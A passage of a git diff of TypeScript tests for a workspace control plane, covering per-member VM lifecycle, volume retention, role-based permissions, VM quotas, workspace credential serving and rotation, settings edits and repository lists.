null)).toEqual([ + "provisioning", + "provisioning", + null, + ]); + // Names only: a value never comes back out of the store. + expect(workspace.credentials).toEqual([ + { name: "STRIPE_API_KEY", label: "live", createdAt: expect.any(Number) }, + ]); + expect(JSON.stringify(workspace)).not.toContain("sk_test_only"); + }); + + it("keeps the machine row and the volume when a machine stops, and brings it back on start", async () => { + const { app, providers } = harness(); + const cookie = await operatorSession(app); + // An explicit volume: the fake provider cannot place one itself, and this + // test is about what a stop does to the disk. + const volume = await appRequest(app, "/volumes", { + ...json({ name: "state", sizeGb: 20, location: "test" }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + const volumeId = (await volume.json<{ volume: { id: string } }>()).volume.id; + const workspace = await createWorkspace(app, cookie, volumeId); + const machineId = await machineIdFor(workspace.id); + const before = await machineRow(workspace.id, "personal"); + expect(before?.volume_id).toBe(volumeId); + + const stopped = await appRequest(app, `/machines/${machineId}/stop`, { + method: "POST", + headers: { Cookie: cookie }, + }); + expect(stopped.status).toBe(200); + await expect(stopped.json()).resolves.toMatchObject({ + machine: { id: machineId, state: "stopped" }, + }); + // The VM is an incarnation; the volume is the machine. Stop destroys the + // first and keeps the second, and the retention clock does NOT start. + const afterStop = await machineRow(workspace.id, "personal"); + expect(afterStop?.vm_id).toBeNull(); + expect(afterStop?.volume_id).toBe(before?.volume_id); + expect(await env.DB + .prepare("SELECT detached_at FROM volume_ownership WHERE volume_id = ?1") + .bind(before?.volume_id).first("detached_at")).toBeNull(); + // The guest's credential dies with its VM. + expect(await env.DB + .prepare("SELECT COUNT(*) AS count FROM machine_token_families WHERE machine_id = ?1") + .bind(machineId).first("count")).toBe(0); + + const started = await appRequest(app, `/machines/${machineId}/start`, { + method: "POST", + headers: { Cookie: cookie }, + }); + expect(started.status).toBe(200); + const afterStart = await machineRow(workspace.id, "personal"); + expect(afterStart?.state).toBe("provisioning"); + expect(afterStart?.volume_id).toBe(before?.volume_id); + expect(providers.createCalls).toBe(2); + // A fresh capability is armed for the new incarnation, so the guest that + // boots on the same disk enrols against the same machine row. + expect(await appRequest(app, new URL( + (providers.userData.get(machineId) ?? "").match(/readonly PHONE_HOME_URL='([^']+)'/u)?.[1] ?? "", + ).pathname, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ pub_key_ed25519: "ssh-ed25519 AAAAhost" }), + }).then(({ status }) => status)).toBe(200); + }); + + it("changes a machine type on the same volume and refuses another location", async () => { + const { app, providers } = harness(); + const cookie = await operatorSession(app); + const workspace = await createWorkspace(app, cookie); + const machineId = await machineIdFor(workspace.id); + const volumeId = (await machineRow(workspace.id, "personal"))?.volume_id; + + // The fake provider places every type in one location, so a same-location + // change is the path this exercises; the cross-location refusal is the + // unknown-location branch below. + const changed = await appRequest(app, `/machines/${machineId}/machine-type`, { + ...json({ machineTypeId: "small" }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + // Same type: nothing to do, and nothing destroyed. + expect(changed.status).toBe(200); + expect(providers.destroyCalls).toBe(0); + + const unknown = await appRequest(app, `/machines/${machineId}/machine-type`, { + ...json({ machineTypeId: "not-a-type" }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(unknown.status).toBe(400); + // The machine is untouched by a refused change: its disk is still there. + expect((await machineRow(workspace.id, "personal"))?.volume_id).toBe(volumeId); + }); + + it("grades machine verbs against the permission matrix", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const teammate = await sameOrgSession("matrix-member"); + const created = await appRequest(app, "/workspaces", { + ...json({ + machineTypeId: "small", + members: [{ membershipId: teammate.membershipId, role: "member" }], + }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + const workspace = (await created.json()).workspace; + const ownerMachine = await machineIdFor(workspace.id); + const theirMachine = await machineIdFor(workspace.id, teammate.membershipId); + + // A member may stop and start their OWN machine. + expect((await appRequest(app, `/machines/${theirMachine}/stop`, { + method: "POST", + headers: { Cookie: teammate.cookie }, + })).status).toBe(200); + // ...and nobody else's. + expect((await appRequest(app, `/machines/${ownerMachine}/stop`, { + method: "POST", + headers: { Cookie: teammate.cookie }, + })).status).toBe(403); + // Recreate, SetMachineType and destroy are workspace-admin work, even on + // their own machine: they interrupt the workspace, not just themselves. + for (const [path, init] of [ + [`/machines/${theirMachine}/recreate`, { method: "POST", headers: { Cookie: teammate.cookie } }], + [`/machines/${theirMachine}`, { method: "DELETE", headers: { Cookie: teammate.cookie } }], + [`/machines/${theirMachine}/machine-type`, { + ...json({ machineTypeId: "small" }), + headers: { Cookie: teammate.cookie, "Content-Type": "application/json" }, + }], + ] as const) { + expect((await appRequest(app, path, init)).status, path).toBe(403); + } + // The org admin passes every workspace-admin gate through implicit reach. + expect((await appRequest(app, `/machines/${theirMachine}/start`, { + method: "POST", + headers: { Cookie: cookie }, + })).status).toBe(200); + }); + + it("destroys a removed member's machine and keeps the disk for the retention window", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const teammate = await sameOrgSession("leaver"); + const created = await appRequest(app, "/workspaces", { + ...json({ + machineTypeId: "small", + members: [{ membershipId: teammate.membershipId, role: "member" }], + }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + const workspace = (await created.json()).workspace; + + expect((await appRequest(app, `/workspaces/${workspace.id}/members/${teammate.membershipId}`, { + method: "DELETE", + headers: { Cookie: cookie }, + })).status).toBe(204); + + // The machine goes and the membership with it. The grace snapshot §2.3 + // asks for is the existing seven-day volume retention, which + // `destroyMachine` starts and `test/workspace-volumes.test.ts` pins. + expect((await machineRow(workspace.id, teammate.membershipId))?.state).toBe("destroyed"); + expect(await env.DB + .prepare("SELECT COUNT(*) AS count FROM workspace_members WHERE workspace_id = ?1") + .bind(workspace.id).first("count")).toBe(1); + + // The owner cannot be removed: the workspace row names them. + expect((await appRequest(app, `/workspaces/${workspace.id}/members/personal`, { + method: "DELETE", + headers: { Cookie: cookie }, + })).status).toBe(409); + }); + + it("destroys a machine when a member is demoted to viewer and rebuilds one on promotion", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const teammate = await sameOrgSession("demoted"); + const created = await appRequest(app, "/workspaces", { + ...json({ + machineTypeId: "small", + members: [{ membershipId: teammate.membershipId, role: "member" }], + }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + const workspace = (await created.json()).workspace; + + const demoted = await appRequest(app, `/workspaces/${workspace.id}/members/${teammate.membershipId}`, { + ...json({ role: "viewer" }, "PATCH"), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(demoted.status).toBe(200); + await expect(demoted.json()).resolves.toMatchObject({ + member: { role: "viewer", machine: null }, + }); + + const promoted = await appRequest(app, `/workspaces/${workspace.id}/members/${teammate.membershipId}`, { + ...json({ role: "member" }, "PATCH"), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(promoted.status).toBe(200); + await expect(promoted.json()).resolves.toMatchObject({ + member: { role: "member", machine: { state: "provisioning" } }, + }); + }); + + it("leaves the member with no machine when auto_provision is off, until one is asked for", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const teammate = await sameOrgSession("manual"); + const created = await appRequest(app, "/workspaces", { + ...json({ + machineTypeId: "small", + autoProvision: false, + members: [{ membershipId: teammate.membershipId, role: "member" }], + }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + const workspace = (await created.json()).workspace; + expect(workspace.autoProvision).toBe(false); + expect(workspace.members?.every(({ machine }) => machine === null)).toBe(true); + expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM machines") + .first("count")).toBe(0); + + // Nobody's machine exists, so the proxy says so in words the member can + // act on instead of failing somewhere downstream. + const proxied = await appRequest(app, `/workspaces/${workspace.id}/webapp/7445/ports`, { + headers: { Cookie: teammate.cookie }, + }); + expect(proxied.status).toBe(409); + await expect(proxied.json()).resolves.toMatchObject({ + error: expect.stringContaining("no machine in this workspace"), + }); + }); + + it("provisions a machine for a member row that holds none", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const teammate = await sameOrgSession("manual-member"); + const watcher = await sameOrgSession("manual-viewer"); + const created = await appRequest(app, "/workspaces", { + ...json({ + machineTypeId: "small", + autoProvision: false, + members: [ + { membershipId: teammate.membershipId, role: "member" }, + { membershipId: watcher.membershipId, role: "viewer" }, + ], + }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + const workspace = (await created.json()).workspace; + const path = (membershipId: string) => + `/workspaces/${workspace.id}/members/${membershipId}/machine`; + expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM machines") + .first("count")).toBe(0); + + const provisioned = await appRequest(app, path(teammate.membershipId), { + ...json({}), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(provisioned.status).toBe(201); + await expect(provisioned.json()).resolves.toMatchObject({ + member: { + membershipId: teammate.membershipId, + role: "member", + machine: { state: "provisioning", machineTypeId: "small" }, + }, + }); + + // This route creates. A machine that exists has `start` and `recreate`. + const again = await appRequest(app, path(teammate.membershipId), { + ...json({}), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(again.status).toBe(409); + await expect(again.json()).resolves.toMatchObject({ + error: expect.stringContaining("already has a machine"), + }); + + // A viewer never holds one (§2.2); the way to give them a machine is the + // role write, not this route. + const viewer = await appRequest(app, path(watcher.membershipId), { + ...json({}), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(viewer.status).toBe(409); + expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM machines") + .first("count")).toBe(1); + + // Somebody who is not in this workspace has no machine to provision. + expect((await appRequest(app, path("no-such-membership"), { + ...json({}), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + })).status).toBe(404); + // Provisioning somebody's machine is workspace-admin work (§3). + expect((await appRequest(app, path(watcher.membershipId), { + ...json({}), + headers: { Cookie: teammate.cookie, "Content-Type": "application/json" }, + })).status).toBe(403); + }); + + it("brings a destroyed member machine back on its own disk, at the type asked for", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const teammate = await sameOrgSession("returning-member"); + const created = await appRequest(app, "/workspaces", { + ...json({ + machineTypeId: "small", + members: [{ membershipId: teammate.membershipId, role: "member" }], + }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + const workspace = (await created.json()).workspace; + const machineId = await machineIdFor(workspace.id, teammate.membershipId); + const volumeId = (await machineRow(workspace.id, teammate.membershipId))?.volume_id; + const path = `/workspaces/${workspace.id}/members/${teammate.membershipId}/machine`; + + expect((await appRequest(app, `/machines/${machineId}`, { + method: "DELETE", + headers: { Cookie: cookie }, + })).status).toBe(200); + expect((await machineRow(workspace.id, teammate.membershipId))?.state).toBe("destroyed"); + + const back = await appRequest(app, path, { + ...json({}), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(back.status).toBe(201); + // The row and its disk are the durable machine, so the member comes back + // on what they had rather than on an empty one. + const after = await machineRow(workspace.id, teammate.membershipId); + expect(after?.id).toBe(machineId); + expect(after?.volume_id).toBe(volumeId ?? null); + + // A type no provider claims is refused before anything is created: the + // registry is the only authority on what a type id means. + const ownerMachine = await machineIdFor(workspace.id); + expect((await appRequest(app, `/machines/${ownerMachine}`, { + method: "DELETE", + headers: { Cookie: cookie }, + })).status).toBe(200); + const unknown = await appRequest(app, `/workspaces/${workspace.id}/members/personal/machine`, { + ...json({ machineTypeId: "not-a-type" }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(unknown.status).toBe(400); + expect((await machineRow(workspace.id, "personal"))?.state).toBe("destroyed"); + }); + + it("counts machines against vm_limit, not workspaces", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const first = await sameOrgSession("quota-one"); + const second = await sameOrgSession("quota-two"); + await env.DB.prepare("UPDATE orgs SET vm_limit = 2 WHERE id = 'personal'").run(); + + const created = await appRequest(app, "/workspaces", { + ...json({ + machineTypeId: "small", + members: [ + { membershipId: first.membershipId, role: "member" }, + { membershipId: second.membershipId, role: "member" }, + ], + }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + // Two slots, three members who each want a VM: the creator and the first + // added member get one, and the third add finds the quota spent. The + // refusal is the caller's answer — a create no longer swallows it and + // hands back a roster that is quietly short a machine. + expect(created.status).toBe(409); + expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM machines") + .first("count")).toBe(2); + expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM workspace_members") + .first("count")).toBe(3); + + const usage = await appRequest(app, "/orgs/self/usage", { headers: { Cookie: cookie } }); + await expect(usage.json()).resolves.toMatchObject({ vmsUsed: 2, vmLimit: 2 }); + }); + + it("serves a workspace credential through the box pull wire, personal grant first", async () => { + const { app, providers } = harness(); + const cookie = await operatorSession(app); + const created = await appRequest(app, "/workspaces", { + ...json({ + machineTypeId: "small", + credentials: [{ name: "STRIPE_API_KEY", value: "sk_workspace_value" }], + }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + const workspace = (await created.json()).workspace; + const token = await boxTokenFor(app, providers, workspace.id); + const boxHeaders = { Authorization: `Bearer ${token}` }; + + // The allow-list a box reads carries both planes: `blitz-cred` is the one + // door to every secret on the machine. + const listed = await appRequest(app, "/workspaces/self/connections", { headers: boxHeaders }); + await expect(listed.json()).resolves.toEqual({ connections: ["STRIPE_API_KEY"] }); + + const minted = await appRequest(app, "/workspaces/self/connections/STRIPE_API_KEY/token", { + method: "POST", + headers: boxHeaders, + }); + expect(minted.status).toBe(200); + await expect(minted.json()).resolves.toMatchObject({ + connection: "STRIPE_API_KEY", + mode: "inject", + token: "sk_workspace_value", + env: [{ name: "STRIPE_API_KEY", value: "sk_workspace_value" }], + }); + + // A rotate is the same act as an add: the next pull reads the new value + // live, with no sync and no restart. + expect((await appRequest(app, `/workspaces/${workspace.id}/credentials`, { + ...json({ name: "STRIPE_API_KEY", value: "sk_rotated_value" }, "PUT"), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + })).status).toBe(201); + await expect(appRequest(app, "/workspaces/self/connections/STRIPE_API_KEY/token", { + method: "POST", + headers: boxHeaders, + }).then((response) => response.json())).resolves.toMatchObject({ + token: "sk_rotated_value", + }); + + // A revoke refuses the next call rather than the one after it. + expect((await appRequest(app, `/workspaces/${workspace.id}/credentials/STRIPE_API_KEY`, { + method: "DELETE", + headers: { Cookie: cookie }, + })).status).toBe(204); + expect((await appRequest(app, "/workspaces/self/connections/STRIPE_API_KEY/token", { + method: "POST", + headers: boxHeaders, + })).status).toBe(404); + }); + + it("gates workspace credentials on the workspace role", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const member = await sameOrgSession("cred-member"); + const viewer = await sameOrgSession("cred-viewer"); + const created = await appRequest(app, "/workspaces", { + ...json({ + machineTypeId: "small", + members: [ + { membershipId: member.membershipId, role: "member" }, + { membershipId: viewer.membershipId, role: "viewer" }, + ], + credentials: [{ name: "STRIPE_API_KEY", value: "sk_test_only" }], + }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + const workspace = (await created.json()).workspace; + const path = `/workspaces/${workspace.id}/credentials`; + + // Use, yes; manage, no. The names reach a member on the workspace view, + // and a viewer sees none: they hold no machine and may not use a + // credential at all (§3). + await expect(appRequest(app, `/workspaces/${workspace.id}`, { + headers: { Cookie: member.cookie }, + }).then((response) => response.json())).resolves.toMatchObject({ + workspace: { + credentials: [{ name: "STRIPE_API_KEY", label: null, createdAt: expect.any(Number) }], + }, + }); + await expect(appRequest(app, `/workspaces/${workspace.id}`, { + headers: { Cookie: viewer.cookie }, + }).then((response) => response.json())).resolves.toMatchObject({ + workspace: { credentials: [] }, + }); + expect((await appRequest(app, path, { + ...json({ name: "OTHER", value: "x" }, "PUT"), + headers: { Cookie: member.cookie, "Content-Type": "application/json" }, + })).status).toBe(403); + expect((await appRequest(app, `${path}/STRIPE_API_KEY`, { + method: "DELETE", + headers: { Cookie: member.cookie }, + })).status).toBe(403); + }); + + it("routes the webApp proxy to the requesting member's own machine", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const teammate = await sameOrgSession("proxy-member"); + const created = await appRequest(app, "/workspaces", { + ...json({ + machineTypeId: "small", + members: [{ membershipId: teammate.membershipId, role: "member" }], + }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + const workspace = (await created.json()).workspace; + const theirMachine = await machineIdFor(workspace.id, teammate.membershipId); + + // Their machine is destroyed, so the proxy refuses THEM while the owner + // keeps working: one workspace, one VM per member. + expect((await appRequest(app, `/machines/${theirMachine}`, { + method: "DELETE", + headers: { Cookie: cookie }, + })).status).toBe(200); + const refused = await appRequest(app, `/workspaces/${workspace.id}/webapp/7445/ports`, { + headers: { Cookie: teammate.cookie }, + }); + expect(refused.status).toBe(409); + await expect(refused.json()).resolves.toMatchObject({ + error: expect.stringContaining("no machine in this workspace"), + }); + }); +}); + +describe("workspace settings", () => { + beforeEach(resetDatabase); + + it("edits the settings a workspace admin owns and leaves live machines alone", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const workspace = await createWorkspace(app, cookie); + const machineId = await machineIdFor(workspace.id); + const path = `/workspaces/${workspace.id}`; + + const rule = await appRequest(app, "/agent-rules/rule-one", { + ...json({ name: "House rules", content: "# House rules\n" }, "PUT"), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(rule.status).toBe(201); + + const patched = await appRequest(app, path, { + ...json({ name: "engineering", autoProvision: false, agentRuleId: "rule-one" }, "PATCH"), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(patched.status).toBe(200); + const updated = (await patched.json()).workspace; + expect(updated.name).toBe("engineering"); + expect(updated.autoProvision).toBe(false); + expect(updated.agentRuleId).toBe("rule-one"); + // The revision is the counter every poller watches, and a workspace has no + // lifecycle of its own — so a settings write has to move it. + expect(updated.revision).toBeGreaterThan(workspace.revision); + // A default is a default: the type change below moves what a FUTURE + // machine takes, and this one keeps the type it was provisioned with. + expect((await machineRow(workspace.id, "personal"))?.machine_type_id).toBe("small"); + expect((await machineRow(workspace.id, "personal"))?.id).toBe(machineId); + + // An absent field is left alone rather than reset. + const single = await appRequest(app, path, { + ...json({ name: "renamed" }, "PATCH"), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + await expect(single.json()).resolves.toMatchObject({ + workspace: { name: "renamed", autoProvision: false, agentRuleId: "rule-one" }, + }); + + // An explicit null is the way back to the built-in doc. + await expect(appRequest(app, path, { + ...json({ agentRuleId: null }, "PATCH"), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }).then((response) => response.json())).resolves.toMatchObject({ + workspace: { agentRuleId: null }, + }); + }); + + it("refuses a default machine type no provider claims, and an agent rule of another org", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const workspace = await createWorkspace(app, cookie); + const path = `/workspaces/${workspace.id}`; + + const unknownType = await appRequest(app, path, { + ...json({ defaultMachineTypeId: "not-a-type" }, "PATCH"), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(unknownType.status).toBe(400); + await expect(unknownType.json()).resolves.toMatchObject({ + error: expect.stringContaining("unknown machine type"), + }); + expect((await appRequest(app, path, { + ...json({ agentRuleId: "no-such-rule" }, "PATCH"), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + })).status).toBe(404); + expect((await appRequest(app, path, { + ...json({ autoProvision: "yes" }, "PATCH"), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + })).status).toBe(400); + + // A refused write leaves the row exactly as it was. + await expect(appRequest(app, path, { headers: { Cookie: cookie } }) + .then((response) => response.json())).resolves.toMatchObject({ + workspace: { defaultMachineTypeId: "small", revision: workspace.revision }, + }); + }); + + it("gates the settings write on workspace admin, and org admins pass implicitly", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const member = await sameOrgSession("settings-member"); + const other = await sameOrgSession("settings-admin", "admin"); + const created = await appRequest(app, "/workspaces", { + ...json({ + machineTypeId: "small", + members: [{ membershipId: member.membershipId, role: "member" }], + }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + const workspace = (await created.json()).workspace; + const path = `/workspaces/${workspace.id}`; + + expect((await appRequest(app, path, { + ...json({ name: "not yours" }, "PATCH"), + headers: { Cookie: member.cookie, "Content-Type": "application/json" }, + })).status).toBe(403); + // Another org's admin never sees the workspace at all, so 404 rather than + // 403: a refusal that names the row leaks what the organization holds. + expect((await appRequest(app, "/workspaces/no-such-workspace", { + ...json({ name: "nowhere" }, "PATCH"), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + })).status).toBe(404); + expect((await appRequest(app, path, { + ...json({ name: "org admin reach" }, "PATCH"), + headers: { Cookie: other.cookie, "Content-Type": "application/json" }, + })).status).toBe(200); + }); +}); + +describe("workspace repositories", () => { + beforeEach(resetDatabase); + afterEach(() => { vi.restoreAllMocks(); }); + + it("adds and removes a repository after create", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const member = await sameOrgSession("repo-member"); + const created = await appRequest(app, "/workspaces", { + ...json({ + machineTypeId: "small", + members: [{ membershipId: member.membershipId, role: "member" }], + }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + const workspace = (await created.json()).workspace; + const path = `/workspaces/${workspace.id}/repos`; + // Reachable anonymously, so every probe reads public and no grant is owed. + vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response(null, { status: 200 })); + + await expect(appRequest(app, path, { headers: { Cookie: cookie } }) + .then((response) => response.json())) + .resolves.toEqual({ repos: [] }); + + const added = await appRequest(app, path, { + ...json({ repo: "acme/tools" }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(added.status).toBe(201); + await expect(added.json()).resolves.toEqual({ + repos: [{ repo: "acme/tools", private: false }], + }); + + // Working in the workspace is enough to read what it clones; changing the + // list is workspace-admin work (§3). + await expect(appRequest(app, path, { headers: { Cookie: member.cookie } }) + .then((response) => response.json())) + .resolves.toEqual({ repos: [{ repo: "acme/tools", private: false }] }); + expect((await appRequest(app, path, { + ...json({ repo: "acme/other" }), + headers: { Cookie: member.cookie, "Content-Type": "application/json" }, + })).status).toBe(403); + + // The path carries "owner/name" as two segments: a slash inside one + // parameter is not something a router hands back intact. + expect((await appRequest(app, `${path}/acme/tools`, { + method: "DELETE", + headers: { Cookie: cookie }, + })).status).toBe(204); + await expect(appRequest(app, path, { headers: { Cookie: cookie } }) + .then((response) => response.json())) + .resolves.toEqual({ repos: [] }); + expect((await appRequest(app, `${path}/acme/tools`, { + method: "DELETE", + headers: { Cookie: cookie }, + })).status).toBe(404); + }); + + it("applies the create-time repository rules to one added row", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const workspace = await createWorkspace(app, cookie); + const path = `/workspaces/${workspace.id}/repos`; + vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response(null, { status: 200 })); + const add = (repo: unknown) => appRequest(app, path, { + ...json({ repo }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + + for (const bad of ["no-slash", "owner/name/extra", "owner/", "/name", "owner/na me"]) { + expect((await add(bad)).status, bad).toBe(400); + } + expect((await add("acme/tools")).status).toBe(201); + expect((await add("acme/tools")).status).toBe(409); + // Every repo clones into /workspace/, so two of one name would fight + // over one directory — the same rule create validates the whole list on. + const collision = await add("blitz/tools"); + expect(collision.status).toBe(400); + await expect(collision.json()).resolves.toMatchObject({ + error: expect.stringContaining("clone into the same directory"), + }); + + for (let index = 1; index < 16; index += 1) { + expect((await add(`acme/repo-${String(index)}`)).status, String(index)).toBe(201); + } + const full = await add("acme/one-too-many"); + expect(full.status).toBe(400); + await expect(full.json()).resolves.toMatchObject({ + error: expect.stringContaining("at most 16 repositories"), + }); + }); + + it("refuses a private repository the caller cannot prove they reach", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const workspace = await createWorkspace(app, cookie); + // Hidden to an anonymous probe, and the caller holds no GitHub grant: the + // clone would fail ten minutes into bootstrap, so it is refused now. + vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response(null, { status: 404 })); + + const refused = await appRequest(app, `/workspaces/${workspace.id}/repos`, { + ...json({ repo: "acme/private" }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(refused.status).toBe(400); + expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM workspace_repos") + .first("count")).toBe(0); + }); +}); diff --git a/packages/control-plane/test/microvm-provider.test.ts b/packages/control-plane/test/microvm-provider.test.ts index 56f0561b..48d8c6c0 100644 --- a/packages/control-plane/test/microvm-provider.test.ts +++ b/packages/control-plane/test/microvm-provider.test.ts @@ -57,6 +57,7 @@ function provider( function createInput(machineTypeId: string): CreateVmInput { return { workspaceId: "workspace-id", + machineId: "machine-id", machineTypeId, sshPublicKey: SSH_KEY, phoneHomeUrl: PHONE_HOME_URL, @@ -519,7 +520,7 @@ describe("microVM pool provider", () => { ); const body = JSON.parse(String(init?.body)); expect(body).toEqual({ - workspace_id: "workspace-id", + workspace_id: "machine-id", cpu: 2, mem_mb: 2_048, ssh_authorized_key: SSH_KEY, @@ -536,7 +537,7 @@ describe("microVM pool provider", () => { ]); expect("ssh_authorized_key" in body).toBe(true); expect(JSON.stringify(body)).toBe( - `{"workspace_id":"workspace-id","cpu":2,"mem_mb":2048,"ssh_authorized_key":"${SSH_KEY}","phone_home_url":"${PHONE_HOME_URL}","cp_origin":"https://cp.example"}`, + `{"workspace_id":"machine-id","cpu":2,"mem_mb":2048,"ssh_authorized_key":"${SSH_KEY}","phone_home_url":"${PHONE_HOME_URL}","cp_origin":"https://cp.example"}`, ); return Response.json({ vm_id: "vm-1-abcdef123456", @@ -600,7 +601,7 @@ describe("microVM pool provider", () => { expect(Object.keys(body)).toEqual(["workspace_id", "cpu", "mem_mb", "phone_home_url", "cp_origin"]); expect("ssh_authorized_key" in body).toBe(false); expect(JSON.stringify(body)).toBe( - `{"workspace_id":"workspace-id","cpu":2,"mem_mb":2048,"phone_home_url":"${PHONE_HOME_URL}","cp_origin":"https://cp.example"}`, + `{"workspace_id":"machine-id","cpu":2,"mem_mb":2048,"phone_home_url":"${PHONE_HOME_URL}","cp_origin":"https://cp.example"}`, ); } }); diff --git a/packages/control-plane/test/org-compute-credentials.test.ts b/packages/control-plane/test/org-compute-credentials.test.ts index 67a2dde7..e3fbe910 100644 --- a/packages/control-plane/test/org-compute-credentials.test.ts +++ b/packages/control-plane/test/org-compute-credentials.test.ts @@ -218,6 +218,11 @@ class OfferedMicrovmProvider implements VmProvider { beforeEach(async () => { await env.DB.batch([ + // Children first: machines and their token families reference workspaces. + env.DB.prepare("DELETE FROM machine_token_families"), + env.DB.prepare("DELETE FROM machines"), + env.DB.prepare("DELETE FROM workspace_members"), + env.DB.prepare("DELETE FROM workspace_credentials"), env.DB.prepare("DELETE FROM workspaces"), env.DB.prepare("DELETE FROM org_compute_credentials"), env.DB.prepare("DELETE FROM org_entitlements"), @@ -287,7 +292,7 @@ describe("organization compute credentials", () => { ); expect(createCall?.authorization).toBe("Bearer org-test-token"); const workspaceSource = await env.DB.prepare( - "SELECT compute_credential_source FROM workspaces LIMIT 1", + "SELECT compute_credential_source FROM machines LIMIT 1", ).first<{ compute_credential_source: string | null }>(); expect(workspaceSource?.compute_credential_source).toBe("org"); @@ -322,7 +327,7 @@ describe("organization compute credentials", () => { ); expect(createCall?.authorization).toBe("Bearer deployment-test-token"); const workspaceSource = await env.DB.prepare( - "SELECT compute_credential_source FROM workspaces LIMIT 1", + "SELECT compute_credential_source FROM machines LIMIT 1", ).first<{ compute_credential_source: string | null }>(); expect(workspaceSource?.compute_credential_source).toBe("deployment"); }); @@ -342,7 +347,9 @@ describe("organization compute credentials", () => { ); expect(createCall?.authorization).toBe("Bearer deployment-test-token"); expect(await env.DB.prepare( - "SELECT compute_credential_source FROM workspaces WHERE org_id = 'self-host-fallback-org'", + `SELECT m.compute_credential_source FROM machines m + JOIN workspaces w ON w.id = m.workspace_id + WHERE w.org_id = 'self-host-fallback-org'`, ).first()).toMatchObject({ compute_credential_source: "deployment" }); }); @@ -412,7 +419,9 @@ describe("organization compute credentials", () => { // The pinned source is what destroy and the janitors resolve by, so it has // to say deployment even though the policy is byok-required. expect(await env.DB.prepare( - "SELECT compute_credential_source FROM workspaces WHERE org_id = 'subscribed-tenant-org' LIMIT 1", + `SELECT m.compute_credential_source FROM machines m + JOIN workspaces w ON w.id = m.workspace_id + WHERE w.org_id = 'subscribed-tenant-org' LIMIT 1`, ).first()).toMatchObject({ compute_credential_source: "deployment" }); }); @@ -438,7 +447,9 @@ describe("organization compute credentials", () => { ); expect(createCall?.authorization).toBe("Bearer org-test-token"); expect(await env.DB.prepare( - "SELECT compute_credential_source FROM workspaces WHERE org_id = 'subscribed-byok-org' LIMIT 1", + `SELECT m.compute_credential_source FROM machines m + JOIN workspaces w ON w.id = m.workspace_id + WHERE w.org_id = 'subscribed-byok-org' LIMIT 1`, ).first()).toMatchObject({ compute_credential_source: "org" }); }); @@ -486,7 +497,9 @@ describe("organization compute credentials", () => { ); expect(createCall?.authorization).toBe("Bearer org-test-token"); expect(await env.DB.prepare( - "SELECT compute_credential_source FROM workspaces WHERE org_id = 'tenant-with-key-org' LIMIT 1", + `SELECT m.compute_credential_source FROM machines m + JOIN workspaces w ON w.id = m.workspace_id + WHERE w.org_id = 'tenant-with-key-org' LIMIT 1`, ).first()).toMatchObject({ compute_credential_source: "org" }); }); @@ -603,7 +616,7 @@ describe("organization compute credentials", () => { const sweepId = createdIds[1]; if (deleteId === undefined || sweepId === undefined) throw new Error("workspace ids missing"); await env.DB.prepare( - "UPDATE workspaces SET compute_credential_source = NULL WHERE id IN (?1, ?2)", + "UPDATE machines SET compute_credential_source = 'deployment' WHERE workspace_id IN (?1, ?2)", ).bind(deleteId, sweepId).run(); expect((await 